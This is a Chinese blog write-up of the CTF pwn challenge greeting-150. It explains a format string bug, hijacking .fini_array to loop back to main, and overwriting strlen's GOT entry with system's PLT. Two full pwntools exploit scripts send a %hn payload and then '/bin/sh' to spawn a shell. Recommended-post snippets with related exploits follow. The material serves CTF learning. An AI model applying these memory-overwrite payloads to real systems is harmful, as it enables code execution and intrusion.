攻防世界格式化字符串漏洞greeting150

CTF| 格式化字符串漏洞 CTF| 格式化字符串漏洞: https://www.freebuf.com/column/207425.html 阅读详情

1.checksec+运行

32位/NX堆栈不可执行/Canary保护

注意一点:没有RELRO保护,got表完全可写

2.IDA常规操作

1.main函数

2.getnline 函数

 

 看到以上信息可以 泄露任意地址的内存

但是........上面的看着感觉不是很对

原来是这样

出现了aaaa---->0x61616161,参数在格式化字符串第12个位置

aaaaaa%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

 注意:我们需要在前面再填充两个字符,才会确定我们输入的aaaa

同样,这样也可以实现

通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址

也就是说格式化字符串可以将任意一个即将调用的函数的got覆盖成我们想要调用函数的plt

用格式化字符串漏洞修改strlen或其他函数(能被调用且有可操纵字符串传入的函数)

 objdump -R greeting150查看got表

 虽然打印出了system的地址,但因为延迟绑定机制,system没有调用过,是得不到system的got表真实地址,而是plt表的地址

因此

我们可以修改strlen的GOT表内容为system的PLT表

但是但是.......

运行程序我们知道,程序没有循环
也就是说即使覆写了strlen函数的got表地址,也没有用,覆写之后就退出了,就是说发生格式化字符串漏洞后程序就结束了,调用不到getnline.

额............这样的话

想办法,让他能循环,让程序再回到main,执行strlen

补充知识:

我们都知道,main函数不是程序的真正入口,__libc_start_main函数才是程序的真正入口

__libc_start_main原型

int __libc_start_main(
         (int (*main) (int, char**, char**),
         int argc,
         char **argv,
         __typeof (main) init,
         void (*fini) (void),
         void (*rtld_fini) (void),
         void* stack_end)

程序开始时会执行一遍init_array指针数组,调用数组中每一个函数进行初始化,

结束时会执行一遍fini_array指针数组,调用数组中每一个函数进行清理操作

这样我们的机会来了.............

利用格式化字符串漏洞覆盖任意地址内存

本题我们将.fini._array的第一个指针写成start地址或者main函数地址,让程序重新执行,便实现了循环调用

但是这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。

.fini_array的4个字节为start地址,进而程序进入第二次循环,输入/bin/sh\x00,拿到shell

必要地址

 

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

修改fini_array的后两个字节0x85ED

修改strlen_got的后两字节0x8490, 和前两个字节0x804

got改成plt在内存中会映射相差一段距离, 所以不是按文件的地址仅需要修改低2位字节(其他师傅博客解释的,具体为什么2字节不是很清楚,等学完必要的基础知识应该就可以理解了)

字符串长度的限制,采用单个字节修改,%hn

from pwn import*
p=process('./greeting150')

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490

p.recvuntil('Please tell me your name... ')
pl = b'a'*2
pl += p32(strlen_got)
pl += p32(strlen_got+2)
pl += p32(fini_array)
num = 0x804 - 0x20
pl += '%' + str(num) + 'c%13$hn'
num = 0x8490 - 0x804
pl += '%' + str(num) + 'c%12$hn'
num = 0x85ED - 0x8490
pl += '%' + str(num) + 'c%14$hn'
print(len(pl))

p.sendline(pl)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()

字符串与字节流不能直接相加,需要转换编码格式

修改脚本 

from pwn import*
p=process('./greeting150')

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490

p.recvuntil('Please tell me your name... ')
payload = b'a'*2
payload += p32(strlen_got)
payload += p32(strlen_got+2)
payload += p32(fini_array)
num = 0x804 - 0x20
k= '%' + str(num) + 'c%13$hn'
payload+= k.encode('utf-8')
num = 0x8490 - 0x804
k= '%' + str(num) + 'c%12$hn'
payload+= k.encode('utf-8')
num = 0x85ED - 0x8490
k= '%' + str(num) + 'c%14$hn'
payload+= k.encode('utf-8')
print(len(payload))

p.sendline(payload)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()

最后成功打通

优化翼型形状的遗传算法实现 在每一代种群中,通过计算每个个体的适应度值,选择具有较高适应度值的个体,并使用交叉和变异算子对它们进行操作,从而生成新的个体。具体而言,我们将采用一个参数化的翼型模型,其中包括几何设计变量,如角度、弯曲和厚度等,以及性能指标,如升阻比和扭矩等。总之,本文提供了一个基于遗传算法的优化方法,用于寻找最优的翼型形状,并提供MATLAB源代码。需要注意的是,上述代码中的objFunc函数是一个示例性质的目标函数,实际应用中需要根据具体的问题进行修改。1.初始化一个随机的种群,其中每个个体代表一个参数化的翼型模型。 阅读详情

相关推荐

DOTween回调函数的隐藏技巧:优化你的Unity动画流程

本文深入探讨了DOTween回调函数在Unity动画开发中的高级应用技巧,帮助开发者优化动画流程。通过分析回调机制、链式应用模式和大规模动画系统管理,提升性能与可维护性,特别适合需要高效处理复杂动画场景的Unity开发者。

weixin_27945229的博客 319

格式化字符串+fini_array劫持

新知识点 fini_array劫持:幽默的大师傅的boke 题目是上的ciscn_2019_sw_1 一次格式化字符串很明显。 利用思路 1.格式化字符串劫持fini_array,实现格式化字符串无限循环。 2.改printf_got为system_got,输入/bin/sh. exp: from pwn import * from LibcSearcher import * context.log_level='debug' context.arch='amd64' #p=proc

qq_51474381的博客 969

嵌入式开发避坑指南:手把手教你用STM32CubeMX配置W9825G6KH SDRAM(含时序参数详解)

本文详细介绍了如何使用STM32CubeMX配置W9825G6KH SDRAM,包括硬件连接检查、CubeMX初始化步骤、时序参数优化及稳定性问题排查。通过实测波形分析和案例分享,帮助开发者避免常见配置错误,提升嵌入式系统性能与稳定性。

weixin_42542669的博客 197

arm linux linker语法,计算机科学基础知识(三):静态库和静态链接

计算机科学基础知识(三):静态库和静态链接作者:linuxer 发布于:2015-2-16 15:15分类:基础学科三、将relocatable object file静态链接成可执行文件将relocatable object file链接成可执行文件分成两步,第一步是符号分析(symbol resolution),第二步是符号重新定位(Relocation)。本章主要描述这两个过程,为了完整性,...

weixin_32672201的博客 918

1688店铺所有商品API接口(整店商品查询API接口)

1688店铺所有商品API接口、1688店铺列表API接口,1688店铺API接口,1688店铺查询商品API接口,1688店铺商品API接口,1688店铺详情接口,1688商品API接口

tbprice的博客 1568

STM32的DMA模块及Protues仿真实验

(一)DMA简介      DMA(Direct Memory Access,直接存储器访问), 用于在外设与存储器之间以及存储器与存储器之间提供高速数据传输。可以在无需任何 CPU 操作的情况下通过 DMA 快速移动数据。这样节省的 CPU 资源可 供其它操作使用。      STM32F407共有两个 DMA 控制器,总共有 16 个数据流(每个控制器 8 个),每一个 DMA 控制器都用于管理 一个或多

weixin_45930204的博客 2850

Linux X86 程序启动 – main函数执行前,程序都在干什么?

目录 一、目标读者 二、覆盖范围 三、调用过程分析 3.1 main函数的调用 3.2 _start函数分析 3.3 __libc_start_main函数分析 3.4 __libc_csu_init函数分析 3.5 _init函数分析 3.6 gmon_start函数分析 3.7 frame_dummy函数分析 3.8_do_global_ctors_aux函数分析 3.9 回到__libc_csu_init__ 3.10 这是另一个函数的循环调用 3.11 程序将返回__l.

闲人的专栏 1872

ComfyUI破限版全中文AI绘画环境搭建与工作流实战指南

节点式工作流是AI绘画领域的核心技术架构,通过将图像生成过程拆分为可配置的模块化节点,实现了对Stable Diffusion模型的精细化控制。其技术原理基于数据流编程范式,每个节点负责特定功能处理,如文本编码、采样器配置和VAE解码等。这种设计在工程实践中的核心价值在于提供了可追溯、可复用的可视化工作流,特别适合需要参数调优和批量生产的商业场景。ComfyUI作为典型的节点式AI绘画工具,在破限版中针对中文用户优化了界面支持和显卡兼容性,显著降低了技术门槛。在实际应用中,结合ControlNet和LoRA

weixin_29038155的博客 447

arm64入栈出栈_X86-64和ARM64用户栈的结构 (3) ---_start到main

介绍将以如下函数为例:#include#include int func_A(int x1, int x2, int x3, int x4, int x5, int x6){int sum = 0;sum = x1 + x2;sum = sum + x3 + x4;sum = sum + x5 + x6;return sum;}int func_B(int x1, int x2, int x3,...

weixin_39593593的博客 383

YOLOv8损失函数升级:从CIoU到Wise-IoU v3的实战调优与避坑指南

本文详细介绍了如何将YOLOv8的损失函数从CIoU升级到Wise-IoU v3,以提升目标检测性能,特别是在小目标检测和样本不均衡场景下的表现。通过实战调优步骤和避坑指南,帮助开发者有效应用Wise-IoU v3的动态聚焦机制和单调性控制,显著提升模型精度和训练稳定性。

weixin_33737774的博客 590

2025年7月12日全国青少年信息素养大赛图形化(Scratch)编程小学低年级组复赛真题+答案解析

2025年7月12日全国青少年信息素养大赛图形化(Scratch)编程小学低年级组复赛真题+答案解析

伶俐角少儿编程 711

__libc_start_main函数的说明

__libc_start_mainName __libc_start_main -- initialization routineSynopsis<br /> <br />int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack

周狼赤壁的技术博客 1万+

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

攻防世界之greeting-150

题目链接:greeting-150 原理: 格式化字符串漏洞、覆盖 .fini_array 目的: 用格式化字符串漏洞制造程序循环,进而使普通格式化字符串漏洞可以被利用 环境: ubuntu14 64位 工具: pwntools 步骤: 用格式化字符串漏洞修改strlen或其他函数(能被调用且有可操纵字符串传入的函数)的got表为system地址plt地址,以及 .fini_array的4个字节为...

qq_42728977的博客 1737

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

攻防世界greeting-150——进阶格式化字符串

水题也能学东西阿,小孩子不懂事,做着玩的

weixin_48066554的博客 736

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

攻防世界进阶区——greeting-150

攻防世界进阶区——greeting-150 进阶区的格式化字符串漏洞,能做到这里的人肯定不差,我就不在重复写那些基础的东西了。 这里我尝试用了一下格式化字符串漏洞神器 FmtStr。 文件分析 先用checksec来查一下 coke@ubuntu:~/桌面/CTFworkstation/PWN/OADW/gretting_150$ checksec greeting_150 [*] '/home/coke/桌面/CTFworkstation/PWN/OADW/gretting_150/greeting_15

weixin_62675330的博客 4746

攻防世界PWN之greeting-150题解

greeting-150 首先看一下保护机制 然后我们拖入IDA,发现是一个很简单的程序。 然而,最后的那个printf(&s);存在格式化字符串漏洞,可以造成任意地址的读写。 首先,我们需要确定我们输入的数据的相对位置。 经过测试,我们需要在前面填充2个字符,然后接下来我们的数据会位于第12个位置 那么,我们的payload = ‘aa’ + p32(a...

seaaseesa的博客 2393

【攻防世界】greeting-150

1.程序逆向 main 函数非常简单,存在一个只能利用一次的格式化字符串。 自定义 getnline 函数: 存在一个奇怪的函数,提供了 system,但是没用 /bin/sh : 2.前置知识 当程序中的漏洞只能利用一次,但是我们需要利用多次时,可以考虑修改 .fini_array,这里引用了参考文章的图: (图源 https://bbs.ichunqiu.com/thread-43624-1-1.html) 程序退出后会依次 .fini_array 中的每一个函数指针,那如果把 start 或者

weixin_43960998的博客 1524

攻防世界greeting-150

32位格式化字符出漏洞。

weixin_56777139的博客 282

攻防世界 Pwn greeting-150

攻防世界 Pwn greeting-1501.checksec检查保护2.IDA查看程序流程3.程序分析4.exp 1.checksec检查保护 root@ubuntu:~/Desktop/git/ctf-pwn# checksec secret_file [*] '/home/lwj/Desktop/git/ctf-pwn/secret_file' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary fou

MrTreebook的博客 725

Python SSTI漏洞实战:从原理到利用与防御的完整指南

模板引擎是现代Web开发中分离业务逻辑与展示层的关键技术,它通过将数据动态嵌入预设模板来生成最终页面。其工作原理是解析模板中的特定语法标记,并用实际数据替换它们。然而,当开发者错误地将用户可控输入直接拼接为模板内容而非待渲染数据时,便产生了服务器端模板注入(SSTI)漏洞。该漏洞的技术价值在于,攻击者可利用模板引擎的执行能力,注入恶意代码,从而可能实现远程命令执行、文件系统访问等严重危害。在Python生态中,Flask的Jinja2、Django模板等是常见应用场景。本文聚焦于Python SSTI,深入

congsong2560的博客 402

模板字面量不是语法糖:JavaScript表达式求值引擎的底层原理与工程实践

模板字面量(Template Literals)是ES6/ES2015引入的核心语言特性,其本质并非字符串拼接的简化写法,而是将字符串字面量升级为支持嵌入JavaScript表达式的动态执行上下文。它依托V8引擎的TemplateLiteral词法解析与AST构建机制,实现零运行时解析开销和天然防注入能力。技术价值体现在运行时代码生成、标签函数驱动的DSL编译、跨作用域数据投影等高阶能力,广泛应用于微前端沙箱、WebRTC信令、金融级格式化及安全日志系统等对可靠性与性能要求严苛的场景。本文深入V8源码与EC

weixin_30457465的博客 511

AgentVisor:基于语义虚拟化的LLM Agent提示词注入防御新范式

大语言模型(LLM)驱动的智能体(Agent)通过规划、记忆和工具调用,能够自主完成复杂工作流,已成为提升自动化水平的关键技术。然而,其核心交互机制——提示词(Prompt)——存在安全边界模糊的固有风险。攻击者可通过提示词注入(Prompt Injection)手段,诱导模型混淆并执行恶意指令,从而威胁系统安全。传统基于规则警告的防御方式效果有限,本质上是与攻击者进行被动的文字博弈。AgentVisor项目创新性地提出了语义虚拟化(Semantic Virtualization)的防御范式,其技术价值在于

weixin_33787529的博客 350

Java开发常见漏洞及解决方案

Java开发常见漏洞及解决方案

ZHANGLIZENG的博客 7356

Java中的10种方法防止XSS攻击

这些方法包括输入验证和过滤、安全的HTML和URL编码、Content Security Policy(CSP)的使用、安全的模板引擎和富文本编辑器、用户输入的验证和限制、安全的Cookie设置以及防止跨站点请求伪造(CSRF)。通过实施这些方法,可以降低XSS攻击的风险,保护应用程序和用户的数据安全。通过使用安全的Cookie设置,您可以增加Web应用程序的安全性,保护用户的身份验证和敏感信息免受攻击和滥用。通过验证和限制用户输入,您可以增加应用程序的安全性和可靠性,防止潜在的安全漏洞和错误数据的影响。

qq_28245087的博客 1万+

strlen 返回值的漏洞

strlen 是一个统计字符串长度的函数  然后我们这次说的题 就是 关于strlen 返回值 造成 溢出的问题 在32的系统中 有这么一种情况   strlen 的结果的返回值给8位寄存器al  那么8位最多是多少? 255  如果我们 多输入会怎么办 我们如果输入257  二进制是多少呢 ‭000100000001‬  这个应该是没有什么好说的  那么假如我们输入了 257个字符 那么最后...

qq_41071646的博客 3059

strlen引起的错误

<br />今天运行程序时,发现程序某名其秒的死了,找来找去找不到原因死在哪里,后来叫了同事过来帮忙看一下,发现原来是strlen的错误,原来strlen不能对空指针用。<br />下面简单介绍一下strlen。<br /> <br />strlen所作的仅仅是一个计数器的工作,它从内存的某个位置(可以是字符串开头,中间某个位置,甚至是某个不确定的内存区域)开始扫描,直到碰到第一个字符串结束符'/0'为止,然后返回计数器值。<br />原型:extern unsigned int strlen(char *

永恒之爱的专栏 1万+
上一篇: BUUCTF栈迁移ciscn_2019_es_2
下一篇: BUUCTF ciscn_2019_c_1(64位ret2libc3)
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值